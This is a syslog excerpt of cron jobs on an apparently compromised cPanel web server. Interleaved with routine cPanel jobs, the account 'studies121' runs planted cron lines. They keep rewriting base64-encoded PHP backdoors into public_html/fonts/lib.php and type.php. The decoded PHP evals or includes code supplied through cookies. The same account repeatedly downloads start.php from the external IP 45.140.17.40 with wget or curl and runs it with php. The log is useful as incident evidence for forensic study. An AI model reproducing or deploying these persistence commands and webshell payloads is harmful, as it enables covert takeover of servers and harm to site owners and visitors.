Feb 22 22:21:01 ip-184-168-122-23 CROND[22853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:21:01 ip-184-168-122-23 CROND[22855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:21:01 ip-184-168-122-23 CROND[22854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:22:01 ip-184-168-122-23 CROND[23183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:22:01 ip-184-168-122-23 CROND[23187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:22:01 ip-184-168-122-23 CROND[23186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:22:01 ip-184-168-122-23 CROND[23185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:22:01 ip-184-168-122-23 CROND[23188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:23:01 ip-184-168-122-23 CROND[23521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:23:01 ip-184-168-122-23 CROND[23522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:23:01 ip-184-168-122-23 CROND[23526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:23:01 ip-184-168-122-23 CROND[23525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:24:01 ip-184-168-122-23 CROND[23859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:24:01 ip-184-168-122-23 CROND[23863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:24:01 ip-184-168-122-23 CROND[23861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:24:01 ip-184-168-122-23 CROND[23864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:24:01 ip-184-168-122-23 CROND[23862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:25:01 ip-184-168-122-23 CROND[24216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24220]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 22:25:01 ip-184-168-122-23 CROND[24222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:26:01 ip-184-168-122-23 CROND[24651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:26:01 ip-184-168-122-23 CROND[24655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:26:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:26:01 ip-184-168-122-23 CROND[24659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:26:01 ip-184-168-122-23 CROND[24661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:27:01 ip-184-168-122-23 CROND[24994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:27:01 ip-184-168-122-23 CROND[24995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:27:01 ip-184-168-122-23 CROND[24997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:27:01 ip-184-168-122-23 CROND[24999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:28:01 ip-184-168-122-23 CROND[25324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:28:01 ip-184-168-122-23 CROND[25326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:28:01 ip-184-168-122-23 CROND[25329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:28:01 ip-184-168-122-23 CROND[25327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:28:01 ip-184-168-122-23 CROND[25328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:29:01 ip-184-168-122-23 CROND[25667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:29:01 ip-184-168-122-23 CROND[25666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:29:01 ip-184-168-122-23 CROND[25670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:29:01 ip-184-168-122-23 CROND[25671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:30:01 ip-184-168-122-23 CROND[25992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:30:01 ip-184-168-122-23 CROND[25994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:30:01 ip-184-168-122-23 CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:30:01 ip-184-168-122-23 CROND[25999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:30:01 ip-184-168-122-23 CROND[26000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:30:01 ip-184-168-122-23 CROND[25996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:30:01 ip-184-168-122-23 CROND[26001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:30:01 ip-184-168-122-23 CROND[25998]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:31:01 ip-184-168-122-23 CROND[26352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:31:01 ip-184-168-122-23 CROND[26357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:31:01 ip-184-168-122-23 CROND[26354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:31:01 ip-184-168-122-23 CROND[26356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:31:01 ip-184-168-122-23 CROND[26355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 22:32:01 ip-184-168-122-23 CROND[26700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:32:01 ip-184-168-122-23 CROND[26703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:32:01 ip-184-168-122-23 CROND[26705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:32:01 ip-184-168-122-23 CROND[26704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:32:01 ip-184-168-122-23 CROND[26707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:33:01 ip-184-168-122-23 CROND[27108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:33:01 ip-184-168-122-23 CROND[27107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
